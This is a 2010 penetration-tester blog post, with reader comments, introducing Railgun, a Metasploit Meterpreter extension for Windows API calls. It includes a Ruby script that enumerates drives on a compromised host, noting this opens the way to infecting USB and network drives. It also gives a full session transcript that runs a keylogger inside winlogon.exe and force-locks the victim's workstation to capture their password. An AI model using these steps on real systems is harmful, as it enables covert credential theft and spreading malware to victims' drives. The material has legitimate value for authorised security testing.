Intro to RailGun: WIN API for Meterpreter
Wednesday, July 7, 2010 at 10:10PM Back on June 13th, “Patrick HVE” released RAILGUN:
http://mail.metasploit.com/pipermail/framework/2010-June/006382.html
And it was merged into the the Metasploit trunk with 9709, 9710, 9711 and 9712:
http://www.metasploit.com/redmine/projects/framework/repository/revisions/9712
Basically what this allows you to do is make Windows API calls from Meterpreter without compiling your own DLL. It currently supports a number of Windows API dlls:
- iphlpapi
- ws2_32
- kernel32
- ntdll
- user32
- advapi32
(You can find out exactly what functions are available by default in the api.rb file)
It’s also very extensible, it doesn’t have a DLL or function you need? But you can read all about in the manual:
./external/source/meterpreter/source/extensions/railgun/railgun_manual.pdf
Here are two examples where this comes in very handy:
List Drives:
The problem that I’ve had on a number of pentests is that you get shell, but from CMD or Meterpreter there is no good way to find all of the volumes (drives) attached.
- net use – Shows you what Network drives are connected, but not physical ones
- fsutil fsinfo drives – You must be an administrator to ride this train
- fdisk /status – Only on OLD versions of DOS, not sure when this disappeared
But railgun solves this problem with a really short script:
# Load the Railgun plugin
client.core.use("railgun")
# Make the API call to enum drive letters
a = client.railgun.kernel32.GetLogicalDrives()["return"]
# Math magic to convert the binary to letters
drives = []
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
(0..25).each do |i|
test = letters[i,1]
rem = a % (2**(i+1))
if rem > 0
drives << test
a = a - rem
end
end
print_line("Drives Available = #{drives.inspect}")
Output:
Drives Available = ["A", "C", "D", “P”, “X”]
Save this as a meterpreter script and it’ll print every logical drive attached to the system even as a limited user (that the user can see).
Logical drives include: (hdd, network, mass storage, optical, etc). This opens up the doors to infecting USB sticks and network drives…
JEDI KEYLOGGING:
One of the problems with keylogging is you never know when that person will log in, and if you’re using a client side, they have probably already logged in and you’re hoping they log into a portal or some other password protected site.
Railgun to the rescue again:
# Start the keylogger running in the background dumping keys every 15 seconds, attached to Winlogon
meterpreter > bgrun keylogrecorder -c 1 -t 15
[*] Executed Meterpreter with Job ID 0
meterpreter > [*] winlogon.exe Process found, migrating into 640
[*] Migration Successful!!
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf3/logs/scripts/keylogrecorder/192.168.92.122_20100707.4539.txt
[*] Recording
# Drop to IRB to initialize railgun and lockout the workstation, forcing the user to use their credentials again.meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client>> client.core.use("railgun")
=> true
>> client.railgun.user32.LockWorkStation()
=> {"GetLastError"=>0, "return"=>true}
>> exit
meterpreter >
Set up “tail –f” going on the log file for the keylogger and then kill the keylogger when you’ve gotten what you came for.
meterpreter > bglist
[*] Job 0: ["keylogrecorder", "-c", "1", "-t", "15"]
meterpreter > bgkill 0
[*] Killing background job 0...
meterpreter >
Hope you have fun with railgun and shoot me an email mubix@hak5.org or leave a comment if you have any other crazy uses for railgun.
Rob Fuller |
5 Comments | 

Reader Comments (5)
Awesome new plugin!
Btw you can also use the "diskpart" command to list the box drivers
C:\Documents and Settings\oval>diskpart
Microsoft DiskPart version 5.1.3565
Copyright (C) 1999-2003 Microsoft Corporation.
On computer: OVAL-WINXP-A
DISKPART> list volume
Volume ### Ltr Label Fs Type Size Status Info
---------- --- ----------- ----- ---------- ------- --------- --------
Volume 0 D CD-ROM 0 B
Volume 1 C NTFS Partition 8182 MB Healthy System
Thanks! But that one requires admin privs as well.
After the address of the function using GetProcAddress, how do we push the arguments on to the stack and call the function? Am I missing out on something, is it possible?
Thx
@binaryhax0r - No need, railgun takes care of that for you. You can use ruby variables to pass to the function such as:
Hand typed ruby so it definitely isn't cut and paste-able:
irb> username = "bob"
"bob" => username
irb> client.railgun.user32.GetUserInfoA(username,nil,0,0,1)
Sorry I think I'd to rephrase what I've commented earlier... What if I use LoadLibraryA to load my user32.dll and use the GetProcAddress to fetch LockWorkStation function address.... How would I use the return address now? (How would I call the function with or w/o parameters?)